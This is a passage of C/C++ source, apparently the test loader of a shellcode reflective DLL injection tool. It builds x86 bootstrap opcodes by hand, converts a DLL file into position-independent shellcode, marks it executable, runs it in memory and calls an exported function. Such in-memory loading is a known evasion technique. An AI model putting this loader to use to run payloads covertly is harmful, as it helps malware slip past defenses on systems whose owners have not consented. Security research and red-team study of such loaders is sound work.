236 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax
237 | bootstrap[i++] = 0x89;
238 | bootstrap[i++] = 0xc3;
239 |
240 | // add eax, +
241 | bootstrap[i++] = 0x05;
242 | dllLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength;
243 | MoveMemory(bootstrap + i, &dllLocation, sizeof(dllLocation));
244 | i += sizeof(dllLocation);
245 |
246 | // add ebx, + +
247 | bootstrap[i++] = 0x81;
248 | bootstrap[i++] = 0xc3;
249 | userDataLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength + length;
250 | MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation));
251 | i += sizeof(userDataLocation);
252 |
253 | // push
254 | bootstrap[i++] = 0x68;
255 | MoveMemory(bootstrap + i, &userLength, sizeof(userLength));
256 | i += sizeof(userLength);
257 |
258 | // push ebx
259 | bootstrap[i++] = 0x53;
260 |
261 | // push
262 | bootstrap[i++] = 0x68;
263 | MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction));
264 | i += sizeof(userFunction);
265 |
266 | // push eax
267 | bootstrap[i++] = 0x50;
268 |
269 | // call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes)
270 | bootstrap[i++] = 0xe8;
271 | bootstrap[i++] = 0x04;
272 | bootstrap[i++] = 0x00;
273 | bootstrap[i++] = 0x00;
274 | bootstrap[i++] = 0x00;
275 |
276 | // add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves
277 | bootstrap[i++] = 0x83;
278 | bootstrap[i++] = 0xc4;
279 | bootstrap[i++] = 0x10;
280 |
281 | // ret - because we used call earlier
282 | bootstrap[i++] = 0xc3;
283 |
284 | // Ends up looking like this in memory:
285 | // Bootstrap shellcode
286 | // RDI shellcode
287 | // DLL bytes
288 | // User data
289 | outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap);
290 | outBytes = (LPSTR)malloc(outLength);
291 | MoveMemory(outBytes, bootstrap, sizeof(bootstrap));
292 | MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength);
293 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length);
294 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength);
295 | }
296 |
297 | return true;
298 | }
299 |
300 | typedef UINT_PTR(WINAPI * RDI)();
301 | typedef void(WINAPI * Function)();
302 | typedef BOOL(__cdecl * EXPORTEDFUNCTION)(LPVOID, DWORD);
303 |
304 | int main(int argc, char *argv[], char *envp[])
305 | {
306 | LPSTR finalShellcode = NULL, data = NULL;
307 | DWORD finalSize, dataSize;
308 |
309 | if (argc < 2) {
310 | printf("\n[!] Usage:\n\n\tNativeLoader.exe \n\tNativeLoader.exe \n");
311 | return 0;
312 | }
313 | if (!GetFileContents(argv[1], &data, dataSize)) {
314 | printf("\n[!] Failed to load file\n");
315 | return 0;
316 | }
317 |
318 | if (data[0] == 'M' && data[1] == 'Z') {
319 | printf("\n[+] File is a DLL, attempting to convert");
320 |
321 | if (!ConvertToShellcode(data, dataSize, 0, 0, 0, finalShellcode, finalSize)) {
322 | printf("\n[!] Failed to convert DLL");
323 | return 0;
324 | }
325 |
326 | printf("\n[+] Successfully Converted");
327 | }
328 | else {
329 | finalShellcode = data;
330 | finalSize = dataSize;
331 | }
332 |
333 | DWORD dwOldProtect1 = 0;
334 |
335 | if (VirtualProtect(finalShellcode, finalSize, PAGE_EXECUTE_READWRITE, &dwOldProtect1)) {
336 | RDI rdi = (RDI)(finalShellcode);
337 |
338 | printf("\n[+] Executing RDI");
339 | UINT_PTR location = rdi(); // Excute DLL
340 |
341 | Function function = (Function)GetProcAddressR(location, "SayGoodbye");
342 | if (function) {
343 | printf("\n[+] Calling exported functon");
344 | function(); // Call exported function
345 | }
346 | }
347 |
348 | printf("\n");
349 |
350 | return 0;
351 | }
352 |
353 |
--------------------------------------------------------------------------------